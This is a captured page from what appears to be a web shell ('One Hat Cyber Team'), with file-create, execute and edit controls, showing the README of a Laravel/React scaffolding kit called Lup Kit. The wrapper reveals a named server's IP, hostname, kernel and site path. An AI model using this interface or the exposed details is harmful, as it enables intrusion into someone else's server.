⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.205
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
tech
/
shopadmin.techlup.co.ke
/
Thelinks
/
Edit File: README.md
# Lup Kit ## Overview **Lup Kit** is a powerful scaffolding project designed to streamline the setup of a Laravel application integrated with React and Tailwind CSS. Developed by Techlup Solutions, it includes pre-built features such as user authentication, email verification, password reset, user and role management, and a blog section. More features will be added over time to enhance its capabilities. ## Features - **User Authentication** - Sign Up - Email Verification - Password Reset - **User and Role Management** - Admin and user roles - Role-based access control - **Blog Section** - Create, read, update, and delete blog posts - **React Frontend** - Tailwind CSS integration for modern and responsive UI - **Future Enhancements** - Additional features to be added in upcoming releases ## Tools Used - **Laravel**: A PHP framework for building robust and scalable web applications. - **React JS**: A JavaScript library for building user interfaces, especially single-page applications. - **Inertia.js**: A tool that allows you to build modern single-page apps using classic server-side routing and controllers. - **Tailwind CSS**: A utility-first CSS framework for creating custom designs without leaving your HTML. - **Spatie Laravel-Permission**: A package that provides a flexible role and permission management system for Laravel applications. ## Installation 1. **Clone the repository:** ```bash git clone https://github.com/your-username/lup-kit.git cd lup-kit ## Contributing Contributions are welcome! Please follow these guidelines when contributing to the project: 1. **Styling with Tailwind CSS:** - Strictly use Tailwind CSS for styling the user interface. Do not include any external CSS files or inline styles. - Make use of the primary color defined in the Tailwind configuration (e.g., `text-primary`, `bg-primary`) to maintain a consistent design throughout the project. 2. **Coding Standards:** - Follow PSR-12 coding standards for PHP code. - Ensure that your JavaScript code is consistent with the project's existing code style. - Write clear, concise commit messages that explain the purpose of your changes. 3. **Branching:** - Create a new branch for each feature or bug fix. - Name your branch descriptively, using hyphens to separate words (e.g., `feature-user-authentication`, `bugfix-login-error`). 4. **Pull Requests:** - Ensure your code is thoroughly tested before submitting a pull request. - Include a detailed description of the changes made in your pull request. - Link to any relevant issues or feature requests in your pull request description. 5. **Testing:** - Write unit tests for any new features or bug fixes. - Run all existing tests to ensure they pass before submitting your changes. Please fork this repository, create a new branch, and submit a pull request. Make sure to follow the project's code style and guidelines.
Simpan